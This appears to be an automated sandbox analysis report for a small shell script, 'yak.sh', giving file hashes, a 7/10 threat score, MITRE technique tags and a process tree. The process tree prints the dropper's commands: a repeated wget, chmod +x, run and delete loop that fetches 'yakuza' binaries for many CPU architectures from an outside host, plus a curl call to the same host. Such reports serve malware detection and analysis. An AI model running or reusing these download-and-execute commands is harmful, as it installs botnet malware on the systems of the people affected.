Overview

overview

10

Static

static

1

yak.sh

ubuntu-18.04-amd64

7

yak.sh

debian-9-armhf

7

yak.sh

debian-9-mips

10

yak.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    132s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23-11-2024 23:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    yak.sh

  • Size

    2KB

  • MD5

    f50f60f970a5203dad27c480da7b4519

  • SHA1

    f50f26900efe72f11c37767b5db9a3916a7c76b4

  • SHA256

    ca0bd413a34399accc6f62506ac94f9c7e1fd5c4efa49d1627eed568b1de78bf

  • SHA512

    40c118ed8e7b22ba4c439cc3de9a9d69d7cccd9b4d109b00a716ea564379e001304edaffb0f9ca143e87cb0138f566aebea2e998b76c9bb4b653cf7a191e4ddd

Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery

Processes

  • /tmp/yak.sh
    /tmp/yak.sh
    1⤵
      PID:1475
      • /usr/bin/wget
        wget http://linux-it.abuser.eu/yakuza.mips
        2⤵
        • System Network Configuration Discovery
        PID:1482
      • /bin/chmod
        chmod +x yakuza.mips
        2⤵
        • File and Directory Permissions Modification
        PID:1488
      • /tmp/yakuza.mips
        ./yakuza.mips
        2⤵
        • System Network Configuration Discovery
        PID:1490
      • /bin/rm
        rm -rf yakuza.mips
        2⤵
        • System Network Configuration Discovery
        PID:1491
      • /usr/bin/wget
        wget http://linux-it.abuser.eu/yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:1492
      • /bin/chmod
        chmod +x yakuza.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:1496
      • /tmp/yakuza.mipsel
        ./yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:1497
      • /bin/rm
        rm -rf yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:1498
      • /usr/bin/wget
        wget http://linux-it.abuser.eu/yakuza.sh
        2⤵
          PID:1499
        • /bin/chmod
          chmod +x yakuza.sh
          2⤵
          • File and Directory Permissions Modification
          PID:1500
        • /tmp/yakuza.sh
          ./yakuza.sh
          2⤵
            PID:1504
          • /bin/rm
            rm -rf yakuza.sh
            2⤵
              PID:1505
            • /usr/bin/wget
              wget http://linux-it.abuser.eu/yakuza.x86
              2⤵
                PID:1506
              • /bin/chmod
                chmod +x yakuza.x86
                2⤵
                • File and Directory Permissions Modification
                PID:1510
              • /tmp/yakuza.x86
                ./yakuza.x86
                2⤵
                  PID:1511
                • /bin/rm
                  rm -rf yakuza.x86
                  2⤵
                    PID:1512
                  • /usr/bin/wget
                    wget http://linux-it.abuser.eu/yakuza.arm6
                    2⤵
                      PID:1513
                    • /bin/chmod
                      chmod +x yakuza.arm6
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1516
                    • /tmp/yakuza.arm6
                      ./yakuza.arm6
                      2⤵
                        PID:1518
                      • /bin/rm
                        rm -rf yakuza.arm6
                        2⤵
                          PID:1519
                        • /usr/bin/wget
                          wget http://linux-it.abuser.eu/yakuza.i686
                          2⤵
                            PID:1520
                          • /bin/chmod
                            chmod +x yakuza.i686
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1524
                          • /tmp/yakuza.i686
                            ./yakuza.i686
                            2⤵
                              PID:1525
                            • /bin/rm
                              rm -rf yakuza.i686
                              2⤵
                                PID:1526
                              • /usr/bin/wget
                                wget http://linux-it.abuser.eu/yakuza.ppc
                                2⤵
                                  PID:1527
                                • /bin/chmod
                                  chmod +x yakuza.ppc
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1531
                                • /tmp/yakuza.ppc
                                  ./yakuza.ppc
                                  2⤵
                                    PID:1532
                                  • /bin/rm
                                    rm -rf yakuza.ppc
                                    2⤵
                                      PID:1533
                                    • /usr/bin/wget
                                      wget http://linux-it.abuser.eu/yakuza.i586
                                      2⤵
                                        PID:1534
                                      • /bin/chmod
                                        chmod +x yakuza.i586
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1538
                                      • /tmp/yakuza.i586
                                        ./yakuza.i586
                                        2⤵
                                          PID:1539
                                        • /bin/rm
                                          rm -rf yakuza.i586
                                          2⤵
                                            PID:1540
                                          • /usr/bin/wget
                                            wget http://linux-it.abuser.eu/yakuza.m68k
                                            2⤵
                                              PID:1541
                                            • /bin/chmod
                                              chmod +x yakuza.m68k
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1544
                                            • /tmp/yakuza.m68k
                                              ./yakuza.m68k
                                              2⤵
                                                PID:1546
                                              • /bin/rm
                                                rm -rf yakuza.m68k
                                                2⤵
                                                  PID:1547
                                                • /usr/bin/wget
                                                  wget http://linux-it.abuser.eu/yakuza.arm4
                                                  2⤵
                                                    PID:1548
                                                  • /bin/chmod
                                                    chmod +x yakuza.arm4
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1551
                                                  • /tmp/yakuza.arm4
                                                    ./yakuza.arm4
                                                    2⤵
                                                      PID:1552
                                                    • /bin/rm
                                                      rm -rf yakuza.arm4
                                                      2⤵
                                                        PID:1553
                                                      • /usr/bin/wget
                                                        wget http://linux-it.abuser.eu/yakuza.arm5
                                                        2⤵
                                                          PID:1555
                                                        • /bin/chmod
                                                          chmod +x yakuza.arm5
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:1556
                                                        • /tmp/yakuza.arm5
                                                          ./yakuza.arm5
                                                          2⤵
                                                            PID:1560
                                                          • /bin/rm
                                                            rm -rf yakuza.arm5
                                                            2⤵
                                                              PID:1561
                                                            • /usr/bin/wget
                                                              wget http://linux-it.abuser.eu/yakuza.arm7
                                                              2⤵
                                                                PID:1562
                                                              • /bin/chmod
                                                                chmod +x yakuza.arm7
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1566
                                                              • /tmp/yakuza.arm7
                                                                ./yakuza.arm7
                                                                2⤵
                                                                  PID:1567
                                                                • /bin/rm
                                                                  rm -rf yakuza.arm7
                                                                  2⤵
                                                                    PID:1568
                                                                  • /usr/bin/wget
                                                                    wget http://linux-it.abuser.eu/yakuza.sparc
                                                                    2⤵
                                                                      PID:1569
                                                                    • /bin/chmod
                                                                      chmod +x yakuza.sparc
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:1570
                                                                    • /tmp/yakuza.sparc
                                                                      ./yakuza.sparc
                                                                      2⤵
                                                                        PID:1573
                                                                      • /bin/rm
                                                                        rm -rf yakuza.sparc
                                                                        2⤵
                                                                          PID:1575
                                                                        • /bin/bash
                                                                          bash
                                                                          2⤵
                                                                            PID:1577
                                                                          • /usr/bin/curl
                                                                            curl -s http://linux-it.abuser.eu/test.php
                                                                            2⤵
                                                                              PID:1576

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads